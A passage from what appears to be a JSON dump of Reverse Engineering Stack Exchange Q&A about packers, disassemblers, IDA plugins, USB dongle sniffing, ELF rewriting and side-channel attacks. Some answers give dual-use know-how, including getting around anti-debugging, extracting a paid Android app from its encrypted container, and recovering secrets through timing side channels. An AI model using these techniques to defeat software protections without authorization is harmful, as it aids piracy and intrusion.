        "Answer": "<h2>Definition</h2>\n\n<p>We'll define a packer as an executable compressor. </p>\n\n<p>Packers reduce the physical size of an executable by compressing it. A decompression stub is usually then attached, parasitically, to the executable. At runtime, the decompression stub expands the original application and transfers control to the <em>original entry point</em>.</p>\n\n<p>Packers exist for almost all modern platforms. There are two fundamental types of packers:</p>\n\n<ul>\n<li><strong>In-Place (In Memory)</strong></li>\n<li><strong>Write To Disk</strong></li>\n</ul>\n\n<p><strong>In-Place</strong> packers do what is termed an in-place decompression, in which the decompressed code and data ends up at the same location it was loaded at. The decryption stub attached to these compressed executables transfer control to the original application entry point at runtime, after decompression is complete. </p>\n\n<p><strong>Write to Disk</strong> packers have a decryption stub (or entire module) that, at runtime, write the decompressed application out to the file system, or a block of memory,\nthen transfer control to the original application via execution of\nthe application's code via normal API calls.</p>\n\n<h2>Uses</h2>\n\n<p>The original intention of executable compressors was to reduce storage requirements (size on disk), back when disk space was at a premium. They can also lower the network bandwidth footprint for transmitted compressed executables, at least when the network traffic would not otherwise be compressed.</p>\n\n<p>These days, there is no premium on disk space, so their use is less common. They are most often used as part of a protection system against reverse engineering. Abuse is also, sadly, common.</p>\n\n<h2>Abuse</h2>\n\n<p>Some packers are abused by malware authors in an attempt to hide malware from scanners. Most scanners can scan 'inside' (decompress) packed executables. Ironically, use of packers on malware is often counter-productive as it makes the malware appear suspicious and thus makes it subject to deeper levels of analysis.</p>\n\n<h2>Additional Features</h2>\n\n<p>Additional features such as protection from reverse engineering can be added to the packer, making the packer also a protector. The process of compression is itself a form of obfuscation and abstraction that inherently serves as some protection.</p>\n"
    },
    {
        "Id": "1786",
        "CreationDate": "2013-04-15T18:29:01.353",
        "Body": "<p>How can I monitor a usb dongle's traffic? I would like to see how a program and its usb dongle talk to each other, if it is possible replay this traffic?</p>\n\n<p>Since I am new to this type of thing, any tutorial or tool suggestion is welcome.</p>\n",
        "Title": "USB Dongle Traffic Monitoring",
        "Tags": "|tools|executable|usb|dongle|",
        "Answer": "<p>If you aren't afraid to get your hands dirty, on Windows you could always write a filter driver on top of or below the device object for the dongle. The <a href=\"http://msdn.microsoft.com/en-us/library/windows/hardware/ff548294.aspx\" rel=\"nofollow\"><code>IoAttachDevice()</code></a> function and the three other functions starting with that name are your friend. The advantage of that is to have a complete in-software solution for the problem without the expenses involved with hardware sniffers. You'll notice that this is actually what the USBpcap project does in <a href=\"https://github.com/desowin/usbpcap/blob/master/USBPcapDriver/USBPcapFilterManager.c\" rel=\"nofollow\"><code>USBPcapFilterManager.c</code></a>. So if you are merely writing this for research, this would be a good starting point, unless the GPL is too restrictive for you.</p>\n\n<p>There is a potential downside with in-software solutions. A filter driver will only see what the other drivers want it to see. Keep in mind that in Windows kernel mode all drivers have the same privileges. Even attaching to the root hub may not always yield meaningful results. So if one driver decides to do funny things such as stealing entry points (<a href=\"http://msdn.microsoft.com/en-us/library/windows/hardware/ff550710.aspx\" rel=\"nofollow\">IRP major function codes</a>) to proactively counter filtering or debugging of any kind, it becomes an arms race. Otherwise it will be the cheapest solution you can get, given you only need this to work on a particular OS.</p>\n\n<p>However, if I was you I'd first sniff the user mode traffic between the library (hook <code>DeviceIoControl</code>, <code>ReadFile</code>, <code>WriteFile</code> et al, or their native counterparts) and the driver or the library and the application that requires the dongle. Of course if the dongle poses as a HID device you'd have to look for the respective IOCTLs and decode them or hook the HID functions directly. This is the method I was using to investigate the traffic sent between a sports watch with USB connectivity and my box. I based it on <a href=\"https://github.com/OpenRCE/paimei\" rel=\"nofollow\">PaiMai</a> and <a href=\"https://github.com/OpenRCE/pydbg\" rel=\"nofollow\">pydbg</a>, because the application wasn't guarding against being debugged. If yours does, you may have to cheat a little to \"convince\" the application to play nicely <a href=\"http://newgre.net/idastealth\" rel=\"nofollow\">IDAStealth provided a few good pointers</a> (link is dead as of May 2016) how to go about.</p>\n"
    },
    {
        "Id": "1791",
        "CreationDate": "2013-04-15T22:04:52.597",
        "Body": "<p>Are there any ARM (or other non-x86) disassemblers that decompose an instruction into its component parts in a machine-friendly structure? Ideally it would be something like <a href=\"http://www.cs.virginia.edu/kim/publicity/pin/docs/20751/Xed/html/\" rel=\"noreferrer\">XED</a> or <a href=\"https://code.google.com/p/distorm/\" rel=\"noreferrer\">distorm3</a>, which disassemble into a structure and then provide an API for querying things like \"Is this a call?\" \"Is this a conditional branch?\" etc., or getting the operands of an instruction.</p>\n\n<p>I found <a href=\"https://code.google.com/p/armstorm/\" rel=\"noreferrer\">armstorm</a>, but it currently only supports THUMB.</p>\n\n<p>Edit: To clarify, I'm looking for something that can be called from within another program and hopefully has liberal licensing (GPL-compatible).</p>\n",
        "Title": "Are there any ARM disassemblers that provide structured output?",
        "Tags": "|tools|disassembly|arm|",
        "Answer": "<p>A more up-to-date answer to this question would be to suggest <a href=\"http://www.capstone-engine.org/\" rel=\"nofollow\">Capstone</a> library. I've used it for ARM disassembly and it's quite reliable. IMHO, It's  the best open source library available. </p>\n\n<p>The library is based on LLVM's TabelGen instruction descriptions. Therefore, its ISA support is as complete as LLVM.</p>\n"
    },
    {
        "Id": "1792",
        "CreationDate": "2013-04-15T22:13:42.270",
        "Body": "<p>There are great questions here about different types of packers and that is very interesting to me.  I would like to try my hand at reverse engineering one.  Since I am very new to this, I would like the source code as well.</p>\n\n<p>I am hoping that by continuously compiling and recompiling the source, I can learn to match it up in IDA Pro and gain a better understanding of both topics at once.</p>\n\n<p>I've checked out the source code for UPX but it is very complex as it handles many different platforms and types.  </p>\n\n<p>Is there an open source code packer that deals exclusively with Windows executables and is <strong>very simple</strong> to understand?</p>\n",
        "Title": "Is there any simple open source Windows packer?",
        "Tags": "|windows|packers|",
        "Answer": "<p>You might be better off looking at a generic data packer first, such as <a href=\"http://code.google.com/p/lz4/\">LZ4</a>.  It's a very simple packer written in C.  There are various unpackers in several languages, too, on the same site.  Jumping right into a runtime packer means lots of file format details that, really, no-one gets quite right in all cases.</p>\n"
    },
    {
        "Id": "1797",
        "CreationDate": "2013-04-15T22:27:57.460",
        "Body": "<p>Is there anything like PIN or DynamoRIO to instrument at Kernel level? The platforms I'm more interested on are Windows and OSX.</p>\n",
        "Title": "Kernel level Dynamic Binary Instrumentation",
        "Tags": "|windows|dynamic-analysis|osx|kernel-mode|instrumentation|",
        "Answer": "<p>Tools like Qemu or Bochs are IMO pretty similar to DBI frameworks conceptually and they work on the entire system, including the kernel. Research efforts like <a href=\"http://bitblaze.cs.berkeley.edu/\" rel=\"nofollow\">BitBlaze</a> and <a href=\"http://dslab.epfl.ch/proj/s2e\" rel=\"nofollow\">S2E</a> have used modified versions of Qemu to trace kernel mode components for bug finding. </p>\n\n<p>The key difference, I think, is that Qemu/Bochs as whole system emulators do not present a by default view of the program under inspection as a DBI does. A DBI allows for dynamic editing of the program by default. Emulators have the primitives required to effect DBI, they can read and write memory and by extension program code, but they do not provide the API that PIN does for program modification.</p>\n\n<p>So the best I can do is, you can use Qemu to make a kernel mode DBI and others have done this, but I don't know of something more usable out of the box. </p>\n"
    },
    {
        "Id": "1812",
        "CreationDate": "2013-04-16T23:13:49.257",
        "Body": "<p>I'm currently a high school sophomore. I haven't really done much on the RCE of malware, I've unpacked <code>zbot</code> and <code>rbot</code>, and looked at how they work, but I can manipulate practically any game to my liking by reverse engineering it and finding out which functions I need to detour, or what addresses of code I need to patch. </p>\n\n<p>From what I've read on the <a href=\"http://www.reddit.com/r/ReverseEngineering/\">/r/ReverseEngineering</a>, I should create a blog, but what do what do I write on the blog? Do I just detail how I hacked the game? Or must it be purely reversing of malware?</p>\n",
        "Title": "How do I move from RCE being a hobby to RCE being a profession?",
        "Tags": "|career-advice|",
        "Answer": "<p>Like many others have stated, there are many different types of professional RCE positions.  I think the first step for you is to determine which aspect of RCE you would like to pursue.  Getting started professionally is a lot easier if you are able to specialize in a particular area: malware, vuln research, DRM, firmware reversing for compatibility, T&amp;E, etc...  If I were you, the next thing I would try to do is find my focus.  I can tell you from experience that there are <strong>plenty</strong> of incident response teams looking for good malware analysts. </p>\n"
    },
    {
        "Id": "1817",
        "CreationDate": "2013-04-17T00:59:59.900",
        "Body": "<p>Is there any disassembler (not only a live debugger) second to IDA in capabilities? IDA is wonderful, and somewhat amazing in how robust and useful it is for reversing. However, it is quite expensive to properly license. Is there <em>any</em> viable alternative, or does IDA hold the monopoly on this market?</p>\n\n<p>I don't expect an alternative to be as good as IDA, just looking for other options that may be more affordable, and useful <em>enough</em>.</p>\n\n<p>EDIT: Preferrably, multi-platform support should exist, though that's optional. MIPS, ARM, x86, and x86-64 would be nice, but a disassembler that handles any one of those is a good option to know about.</p>\n",
        "Title": "Is there any disassembler to rival IDA Pro?",
        "Tags": "|tools|ida|disassemblers|",
        "Answer": "<p>Just for completeness: one more disassembler, <a href=\"https://binary.ninja/\">Binary Ninja</a>:</p>\n\n<p>As for now (9/26/2016) it has the following properties:</p>\n\n<ul>\n<li>Commercial ($99 as introductory price for personal use license)</li>\n<li>Handles x86, x64, ARMv7-8, MIPS and 6502 architectures</li>\n<li>Works on Linux, Mac OsX and Windows</li>\n<li>Supports PE/COFF, ELF, .NES and Mach-O</li>\n<li>Has python API</li>\n<li>Has Undo</li>\n<li>Has IL</li>\n<li>Has a lot of other cool features</li>\n</ul>\n"
    },
    {
        "Id": "1829",
        "CreationDate": "2013-04-17T10:02:42.920",
        "Body": "<p>I am just starting to use <a href=\"https://www.hex-rays.com/products/ida/\">IDA Pro</a>. After discussing a bit with the community, it seems that IDA Pro plugins and scripts are quite important to reach a good level of productivity while analyzing a program.</p>\n\n<p>What are some <em>must have</em> plugins for IDApro that you would recommend for an everyday usage.</p>\n",
        "Title": "Could you list some useful plugins and scripts for IDA Pro?",
        "Tags": "|ida|ida-plugin|",
        "Answer": "<h1>By Architecture</h1>\n<p><em>Generic helpers for reverse engineering of a specific architecture.</em></p>\n<h2>ia32</h2>\n<h2>amd64</h2>\n<h2>ARM</h2>\n<hr />\n<h1>By Operating System</h1>\n<p><em>Generic helpers for reverse engineering of a specific operating system.</em></p>\n<h2>Windows</h2>\n<h2>Linux</h2>\n<hr />\n<h1>By Compiler</h1>\n<p><em>Generic helpers for reverse engineering of binaries generated using a specific compiler.</em></p>\n<h2>Microsoft Visual Studio</h2>\n<h3><a href=\"http://www.openrce.org/downloads/details/196/Microsoft_VC++_Reversing_Helpers\" rel=\"noreferrer\">Microsoft Visual C++ Reversing Helpers</a></h3>\n<blockquote>\n<p>These IDC scripts help with the reversing of MSVC programs. One script scans the whole program for typical SEH/EH code sequences and comments all related structures and fields. The other script scans the whole program for RTTI structures and vftables.</p>\n</blockquote>\n<h2>GCC</h2>\n<h2>Delphi</h2>\n<h3><a href=\"http://www.openrce.org/downloads/details/61/Delphi_RTTI_script\" rel=\"noreferrer\">Delphi RTTI script</a></h3>\n<blockquote>\n<p>This script deals with Delphi RTTI structures</p>\n</blockquote>\n<h2>Borland</h2>\n<h3><a href=\"http://www.openrce.org/downloads/details/72/Borland_C++_Builder_RTTI_Support\" rel=\"noreferrer\">Borland C++ Builder RTTI</a></h3>\n<blockquote>\n<p>Borland C++ Builder Run Time Type Information (RTTI) support for IDA Pro</p>\n</blockquote>\n<hr />\n<h1>By Technology</h1>\n<p><em>Generic helpers for reverse engineering of a technology.</em></p>\n<h2>COM</h2>\n<h3><a href=\"http://www.openrce.org/downloads/details/10/Com_Plugin_v1.2\" rel=\"noreferrer\">COM Plugin</a></h3>\n<blockquote>\n<p>The plugin tries to extract the symbol information from\nthe typelibrary of the COM component. It will then set the\nfunction names of interface methods and their parameters, and\nfinally add a comment with the MIDL-style declaration of the\ninterface method.</p>\n</blockquote>\n<h2>Remote Procedure Call</h2>\n<h3><a href=\"http://www.openrce.org/downloads/details/186/mIDA\" rel=\"noreferrer\">mIDA</a></h3>\n<blockquote>\n<p>mIDA is a plugin for the IDA disassembler that can extract RPC interfaces from a binary file and recreate the associated IDL definition. mIDA is free and fully integrates with the latest version of IDA (5.2 or later)</p>\n</blockquote>\n<hr />\n<h1>Cryptography</h1>\n<p><em>Generic helpers for reverse engineering of encryption and decryption algorithms.</em></p>\n<h2>Signature Based</h2>\n<h3><a href=\"http://www.openrce.org/downloads/details/189/FindCrypt2\" rel=\"noreferrer\">FindCrypt2</a></h3>\n<blockquote>\n<p>The idea behind it pretty simple: since almost all crypto algorithms use magic constants, we will just look for these constants in the program body.\nThe plugin supports virtually all crypto algorithms and hash functions.</p>\n</blockquote>\n<hr />\n<h1>Deobfuscation</h1>\n<p><em>Plugins and scripts for removing obfuscations from disassembly.</em></p>\n<h2>ia32</h2>\n<h3><a href=\"http://code.google.com/p/optimice/\" rel=\"noreferrer\">Optimice</a></h3>\n<blockquote>\n<p>Optimice applies common optimization techniques on obfuscated code to make it more readable/user friendly. This plugin enables you to remove some common obfuscations and rewrite code to a new segment.</p>\n</blockquote>\n"
    },
    {
        "Id": "1833",
        "CreationDate": "2013-04-17T14:17:46.000",
        "Body": "<p>I'm currently trying to gain some practice in RE and I need some help for patching a DLL.\nHere are my steps:\nI first analyze the main program and the dll in IDA trying to understand the logic. I then switch to OllyDBG for patching. Well, the problem is, since Olly dynamically loads the dll (in contrast to the static standalone analysis in IDA), the offsets are different and I don't know how to find the offset that I've inspected in IDA.\nIs there some easy way to \"rediscover\" the offset in the dll?</p>\n\n<p>Thanks in advance!</p>\n",
        "Title": "How to find offsets in OllyDBG from IDA",
        "Tags": "|ida|ollydbg|",
        "Answer": "<p>I usually rebase it in IDA to <code>0</code>. Then using <code>Adv Ctr + G</code> option of StrongOD, you can just put the address from IDA as RVA to needed module.</p>\n"
    },
    {
        "Id": "1842",
        "CreationDate": "2013-04-18T09:34:49.823",
        "Body": "<p><a href=\"http://radare.org/y/\">Radare2</a> is a framework for reverse-engineering gathering several tools (see this <a href=\"http://www.phrack.org/issues.html?issue=66&amp;id=14#article\">Phrack article</a> about radare1 to know a bit more about the framework).</p>\n\n<p>I would like to know if someone could point out the main useful features of the framework for reverse engineering ? And, particularly what makes radare2 different from other tools or frameworks ?</p>\n",
        "Title": "What are the main features of radare2?",
        "Tags": "|tools|binary-analysis|radare2|",
        "Answer": "<p>from its <a href=\"http://radare.org/y/?p=features\">feature</a> page:</p>\n\n<ul>\n<li>Multi-architecture and multi-platform\n<ul>\n<li>GNU/Linux, Android, *BSD, OSX, iPhoneOS, Windows{32,64} and Solaris</li>\n<li>x86{16,32,64}, dalvik, avr, arm, java, powerpc, sparc, mips, bf, csr, m86k, msil, sh</li>\n<li>pe{32,64}, [fat]mach0{32,64}, elf{32,64}, te, dex and java classes</li>\n</ul></li>\n<li>Highly scriptable\n<ul>\n<li>Vala, Go, Python, Guile, Ruby, Perl, Lua, Java, JavaScript, sh, ..</li>\n<li>batch mode and native plugins with full internal API access</li>\n<li>native scripting based in mnemonic commands and macros</li>\n</ul></li>\n<li>Hexadecimal editor\n<ul>\n<li>64bit offset support with virtual addressing and section maps</li>\n<li>Assemble and disassemble from/to many architectures</li>\n<li>colorizes opcodes, bytes and debug register changes</li>\n<li>print data in various formats (int, float, disasm, timestamp, ..)</li>\n<li>search multiple patterns or keywords with binary mask support</li>\n<li>checksumming and data analysis of byte blocks</li>\n</ul></li>\n<li>IO is wrapped\n<ul>\n<li>support Files, disks, processes and streams</li>\n<li>virtual addressing with sections and multiple file mapping</li>\n<li>handles gdb:// and rap:// remote protocols</li>\n</ul></li>\n<li>Filesystems support\n<ul>\n<li>allows to mount ext2, vfat, ntfs, and many others</li>\n<li>support partition types (gpt, msdos, ..)</li>\n</ul></li>\n<li>Debugger support\n<ul>\n<li>gdb remote and <strong>brainfuck</strong> debugger support</li>\n<li>software and hardware breakpoints</li>\n<li>tracing and logging facilities</li>\n</ul></li>\n<li>Diffing between two functions or binaries\n<ul>\n<li>graphviz friendly code analysis graphs</li>\n<li>colorize nodes and edges</li>\n</ul></li>\n<li>Code analysis at opcode, basicblock, function levels\n<ul>\n<li>embedded simple virtual machine to emulate code</li>\n<li>keep track of code and data references</li>\n<li>function calls and syscall decompilation</li>\n<li>function description, comments and library signatures</li>\n</ul></li>\n</ul>\n"
    },
    {
        "Id": "1843",
        "CreationDate": "2013-04-18T09:43:07.177",
        "Body": "<p>I would like to be able to rewrite or reorganize an ELF binary program directly from the executable format (not at compile-time). </p>\n\n<p>The only library I know to do this is <a href=\"http://hg.secdev.org/elfesteem/\">elfesteem</a> (used in <a href=\"http://code.google.com/p/smiasm/\">Miasm</a>). But, there must be others. So, what are the libraries or frameworks that you use to statically modify ELF executables ?</p>\n",
        "Title": "What are the available libraries to statically modify ELF executables?",
        "Tags": "|tools|obfuscation|deobfuscation|elf|",
        "Answer": "<h2 id=\"e9patch-et3b\"><a href=\"https://github.com/GJDuck/e9patch\" rel=\"nofollow noreferrer\">e9patch</a></h2>\n<blockquote>\n<p>E9Patch is different to other tools in that it can statically rewrite x86_64 Linux ELF binaries without modifying the set of jump targets. To do so, E9Patch uses a set of novel low-level binary rewriting techniques, such as instruction punning, padding and eviction that can insert or replace binary code without the need to move existing instructions. Since existing instructions are not moved, the set of jump targets remains unchanged, meaning that calls/jumps do not need to be corrected (including cross binary calls/jumps).</p>\n</blockquote>\n<p><a href=\"https://i.stack.imgur.com/Yqb4J.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Yqb4J.png\" alt=\"e9patch techniques\" /></a></p>\n<p>Paper: <a href=\"https://www.comp.nus.edu.sg/%7Egregory/papers/e9patch.pdf\" rel=\"nofollow noreferrer\">Binary Rewriting without Control Flow Recovery</a></p>\n<h2 id=\"projects-based-on-e9patch-z2xw\">Projects based on e9patch:</h2>\n<ul>\n<li><a href=\"https://github.com/GJDuck/e9afl\" rel=\"nofollow noreferrer\">e9afl</a> - inserts AFL's instrumentation into ELF binaries. I've had success using this to fuzz closed-source binaries in a production environment; however, using AFL++ with QEMU outperformed this approach.</li>\n<li><a href=\"https://github.com/GJDuck/e9syscall\" rel=\"nofollow noreferrer\">e9syscall</a> - System call interception using static binary rewriting of libc.so.</li>\n</ul>\n"
    },
    {
        "Id": "1849",
        "CreationDate": "2013-04-18T14:14:04.363",
        "Body": "<p><a href=\"https://reverseengineering.stackexchange.com/questions/59/what-are-the-essential-ida-plugins-or-ida-python-scripts-that-you-use/62#62\">Some posts</a> reference the <a href=\"http://www.openrce.org/downloads/details/186/mIDA\" rel=\"nofollow noreferrer\">mIDA</a> plugin, but the download site seems unavailable. Is there any mirror or a link to an archive version?</p>\n",
        "Title": "where can I get mIDA",
        "Tags": "|ida|ida-plugin|",
        "Answer": "<p>I was just sent <a href=\"https://www.dropbox.com/s/yj30fqj2dxxlmnj/mIDA-1.0.10.zip\">mIDA-1.0.10</a>, from 2008.</p>\n\n<pre><code>mIDA is an IDA plugin which extracts RPC interfaces and recreates the associated IDL file.\nmIDA supports inline, interpreted and fully interpreted server stubs.\n</code></pre>\n"
    },
    {
        "Id": "1854",
        "CreationDate": "2013-04-18T20:07:52.410",
        "Body": "<p>What can I do to reverse engineer a DOS .COM file? As far as debugging goes, I've looked DEBUG and DEBUGX from the creators of FreeDOS, as well as the default DEBUG command that comes with Windows. Sure, I can probably work with them and eventually figure out what I'm doing, but I feel like the process would end up being longer than necessary. Is there a better tool I can use?</p>\n\n<p>If there are no \"better\" tools than DEBUG or DEBUGX, then what can I use to work with output from these two tools? My main goal is to create something that mimics the .COM program, but in a more manageable format (as far as code goes).</p>\n",
        "Title": "Working with DOS .COM files",
        "Tags": "|tools|windows|dos-com|",
        "Answer": "<p>My answer is a little late; newcomer to this site. The Decompiler project was initiated in order to decompile MS-DOS EXE and COM binaries. The project has both a command-line and a GUI tool:</p>\n\n<p><a href=\"https://sourceforge.net/projects/decompiler/\" rel=\"nofollow\">https://sourceforge.net/projects/decompiler/</a></p>\n\n<p>Use the following command with the command-line tool to decompile COM programs:</p>\n\n<pre><code>decompile --default-to ms-dos-com myprog.com\n</code></pre>\n\n<p>In the GUI, use the menu command <code>File</code> > <code>Open as...</code> to open the COM file and specify a start address like 0800:0100.</p>\n"
    },
    {
        "Id": "1860",
        "CreationDate": "2013-04-19T04:02:20.333",
        "Body": "<p>Are there any useful snippets or Gdb functions that you guys normally use to print out Unicode strings? I'm trying to debug Mach-O binaries and <code>x/s</code> seems to be printing out junk. I believe the default encoding for Objective C strings is UTF-16.</p>\n",
        "Title": "Printing Unicode strings in Gdb in OSX",
        "Tags": "|osx|gdb|encodings|mach-o|strings|",
        "Answer": "<p>If you think the encoding is wrong then you can try these 2 things:</p>\n\n<ul>\n<li>Try using <code>x/hs</code> <a href=\"http://sourceware.org/gdb/onlinedocs/gdb/Memory.html\">as described here</a></li>\n</ul>\n\n<blockquote>\n  <p>Each time you specify a unit size with x, that size becomes the default unit the next time you use x\n  ...\n  Use x /hs to display 16-bit char strings</p>\n</blockquote>\n\n<ul>\n<li>set the character set in gdb <a href=\"http://sourceware.org/gdb/onlinedocs/gdb/Character-Sets.html\">as described here</a></li>\n</ul>\n\n<blockquote>\n  <p>gdb has no way to automatically recognize which character set the inferior program uses; you must tell it, using the set target-charset command, described below.</p>\n</blockquote>\n"
    },
    {
        "Id": "1869",
        "CreationDate": "2013-04-19T18:45:39.290",
        "Body": "<p>I'm working with some x86 assembly code and I need to rip from one executable and paste that code into another.</p>\n<p>Originally, I had an executable that was meant to accept two command line parameters and run a handwritten function on them. However, I ran into annoyances with using <code>GetCommandLine</code> et al. to return the parameters in my ASM. Namely, it returned Unicode and I needed the parameters in ANSI. Rather than dealing with setting up the library calls and converting that way, I compiled a small program that uses command line arguments with the intent of reusing code.</p>\n<p>So now I have two executables:</p>\n<ul>\n<li>one with the command line parameters parsed and in their proper places</li>\n<li>two with the actual assembled function code inside of it.</li>\n</ul>\n<p>The first executable has the space for the function <code>NOP</code>'d out, but I need a good way to paste the logic in. I've looked at Asm2clipboard, Code Ripper and data ripper, but they only have the functionality to rip the assembly out, but not paste it back in.</p>\n<p>I'm aware I'll have to fix addresses and things like that, but I can't find a way in Olly or other tools to move the code between the executables. I can go into HexEdit or something like that I supposed, but I was hoping there's an easier way.</p>\n",
        "Title": "Ripping/pasting code into an executable using Olly",
        "Tags": "|disassembly|pe|ollydbg|patching|",
        "Answer": "<p><a href=\"http://rammichael.com/multimate-assembler\" rel=\"nofollow noreferrer\"><strong>Multiline Ultimate Assembler</strong></a> is a multiline (and ultimate) assembler (and disassembler) plugin for OllyDbg. It\u2019s a perfect tool for modifying and extending a compiled executable functionality, writing code caves, etc.</p>\n"
    },
    {
        "Id": "1873",
        "CreationDate": "2013-04-20T06:01:15.870",
        "Body": "<p>Environment:</p>\n\n<ul>\n<li>Host: Win7 SP1 x64: VMWare Workstation 9.02, VirtualKD, IDA Pro 6.4.13 (x64) and WinDbg</li>\n<li>Guest: Win7 SP1 x64</li>\n</ul>\n\n<p>I have VirtualKD setup correctly in my guest and host.\nI say this because attaching WinDbg to the guest VM through VirtualKD works flawlessly.</p>\n\n<p>But when I try to connect IDA Pro's WinDbg interface using instruction on <a href=\"http://www.hexblog.com/?p=123\" rel=\"noreferrer\">this page</a>, IDA keeps throwing the following error:</p>\n\n<pre><code>Windbg: using debugging tools from '&lt;PATH&gt;'\nConnecting to debugger server with 'com:port=\\\\.\\pipe\\kd_Win7x64_SP1,pipe'\nConnect failed: The server is currently disabled.\n</code></pre>\n\n<p>VirtualKD's <code>vmmon</code> is running on the host and shows the following:<img src=\"https://i.stack.imgur.com/SFqc3.png\" alt=\"vmmon UI\"></p>\n\n<p><strong>UPDATE:</strong> Turns out, It's a problem with IDA 6.4. I happened to have IDA 6.3 installed on my machine too. That worked with no issues.\nHas anyone used IDA6.4 for live kernel debugging?\nCan someone please tell me how I can correct this issue <em>in IDA 6.4</em>?</p>\n",
        "Title": "WinDbg fails to connect to IDA Pro debugger server",
        "Tags": "|windows|ida|debuggers|kernel-mode|windbg|",
        "Answer": "<p>I had the same problem at first when trying to connect <code>IDAPro</code> to <code>windbg</code>. What I did was the following:</p>\n\n<ol>\n<li>Manually edit the <code>ida.cfg</code> file located inside <code>.\\IDA 6.4\\cfg\\ directory</code>.</li>\n<li><p>Change the <code>DBGTOOLS</code> path with WinDbg tools directory. For example, to:</p>\n\n<pre><code>DBGTOOLS = \"C:\\\\Program Files (x86)\\\\Windows Kits\\\\8.0\\\\Debuggers\\\\x86\\\\\";\n</code></pre></li>\n</ol>\n"
    },
    {
        "Id": "1876",
        "CreationDate": "2013-04-21T03:48:04.687",
        "Body": "<p>I've been trying to reverse engineer a paid android app that writes out some binary data so that I can export that data into other programs (it's a run/walk timer app, if anyone's curious, and I'm trying to get its GPS traces out). However, it looks like the apk is encrypted and stored in <code>/data/app-asec/[app_id].asec</code>.</p>\n\n<p>There's a nice <a href=\"http://nelenkov.blogspot.com/2012/07/using-app-encryption-in-jelly-bean.html\">blog post</a> that says the encryption used is TwoFish, with a key stored in <code>/data/misc/systemkeys/AppsOnSD.sks</code>, but I haven't been able to decrypt the file using the na\u00efve strategy of just using that key directly with TwoFish on the <code>.asec</code>.</p>\n\n<p>How can I decrypt this to get an apk I can actually analyze?</p>\n\n<p>Note: I realize that this information is considered somewhat delicate in places like xda-developers, since it could be used to enable piracy. I have no such intentions, I just want to examine the serialization code.</p>\n",
        "Title": "Analyzing encrypted Android apps (.asec)?",
        "Tags": "|android|encryption|",
        "Answer": "<p>After a little bit more work and some more careful re-reading, I figured out my mistake: the files in <code>/data/app-asec/</code> are the encrypted <em>containers</em>. They're actually dm-crypt volumes, which then get mounted at <code>/mnt/asec/[app_id]</code>. The <code>pkg.apk</code> in that directory is the unencrypted apk that can be analyzed using any of the fine tools in <a href=\"https://reverseengineering.stackexchange.com/a/46/257\">this answer</a>.</p>\n"
    },
    {
        "Id": "1879",
        "CreationDate": "2013-04-21T13:57:12.093",
        "Body": "<p>I'm looking for a tool like <code>Beyond Compare</code>, <code>meld</code>, <code>kdiff</code>, etc. which can be used to compare two disassembled binaries. I know that there's binary (hex) comparison, which shows difference by hex values, but I'm looking for something that shows op-codes and arguments.</p>\n\n<p>Anyone knows something that can help ?</p>\n",
        "Title": "how can I diff two x86 binaries at assembly code level?",
        "Tags": "|tools|binary-analysis|bin-diffing|",
        "Answer": "<p>As an open source alternative there's <a href=\"https://github.com/noseglasses/elf_diff\" rel=\"nofollow noreferrer\">elf_diff</a> which compares elf-files and generates html or pdf reports. It's available as a Python package.</p>\n"
    },
    {
        "Id": "1891",
        "CreationDate": "2013-04-22T09:49:45.830",
        "Body": "<p>I'm trying to debug a 16-bit Windows executable (format: New Executable). The problem is that all the standard tools (W32DASM, IDA, Olly) don't seem to support 16-bit debugging.</p>\n\n<p>Can you suggest any win16-debuggers?</p>\n",
        "Title": "Debugging NewExecutable binaries",
        "Tags": "|tools|debuggers|ne|",
        "Answer": "<p><a href=\"http://www.openwatcom.org/\">OpenWatcom</a> has full support for Win16 including debugging, though I personally haven't tried it. It even has remote debugging support over TCP/IP, serial and a couple other protocols.</p>\n\n<p>Older SoftICE versions also supported Win16, you may try your luck with that.</p>\n"
    },
    {
        "Id": "1897",
        "CreationDate": "2013-04-22T19:24:31.780",
        "Body": "<p>When reversing smart-cards, the <a href=\"http://en.wikipedia.org/wiki/Side_channel_attack\" rel=\"nofollow\">side-channel attacks</a> are known to be quite effective on hardware. But, what is it, and can it be used in software reverse-engineering and how?</p>\n",
        "Title": "What is SCARE (Side-Channel Attacks Reverse-Engineering)?",
        "Tags": "|hardware|physical-attacks|smartcards|",
        "Answer": "<p>A '<em>side-channel attack</em>' define any technique that will consider unintended and/or indirect information channels to reach his goal. It has been first defined in smart-card cryptography to describe attacks which are using unintentional information leak from the embedded chip on the card and that can be used in retrieval of keys and data. For example, it may be used by monitoring:</p>\n<ul>\n<li><p><strong>Execution Time</strong> (Timing attack): To distinguish which operations has been performed and guess, for example, which branch of the code has been selected (and, thus, the value of the test).</p>\n</li>\n<li><p><strong>Power Consumption</strong> (Power monitoring attack): To distinguish precisely what sequence of instructions has been performed and be able to recompose the values of the variables. Note that there exist several techniques of analysis using the same input but with slightly different way of analyzing it. For example, we can list: <em>Single Power Analysis</em> (SPA), <em>Differential Power Analysis</em> (DPA), <em>High-order Differential Power Analysis</em> (HO-DPA), <em>Template Attacks</em>, ...</p>\n</li>\n<li><p><strong>Electromagnetic Radiation</strong> (Electromagnetic attacks): Closely related to power consumption, but can also provide information that are not found in power consumption especially on RFID or NFC chips.</p>\n</li>\n</ul>\n<p>If you're more interested in learning how to leverage this information then I'd suggest to start by reading <a href=\"https://rads.stackoverflow.com/amzn/click/com/1441940391\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Power Analysis Attacks</a>. Don't get 'scared' away by the fact that the book is about smart cards. Most of the information also applies 1-to-1 on 'normal' (SoC) embedded devices.</p>\n<p>Forgot to mention there's an open source platform called <a href=\"http://sourceforge.net/projects/opensca/\" rel=\"nofollow noreferrer\">OpenSCA</a> and some open source hardware called FOBOS (Flexible Open-source BOard for Side-channel) for which I can't seem to find a proper link from home.</p>\n<h2>Application to Software Reverse-engineering</h2>\n<p>Speaking about the application of side-channel attacks in software reverse engineering now, it is more or less any attacks that will rely on using unintended or indirect information leakage. The best recent example is this <a href=\"http://shell-storm.org/blog/A-binary-analysis-count-me-if-you-can/\" rel=\"nofollow noreferrer\">post</a> from <a href=\"https://twitter.com/JonathanSalwan\" rel=\"nofollow noreferrer\">Jonathan Salwan</a> describing how he guessed the password of a crackme just by counting the number of instructions executed on various inputs with <a href=\"http://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool\" rel=\"nofollow noreferrer\">Pin</a>.</p>\n<p>More broadly, this technique has been used since long in software reverse-engineering without naming it, or could have improved many analysis. The basic idea is to first consider that if a piece of software is too obscure to 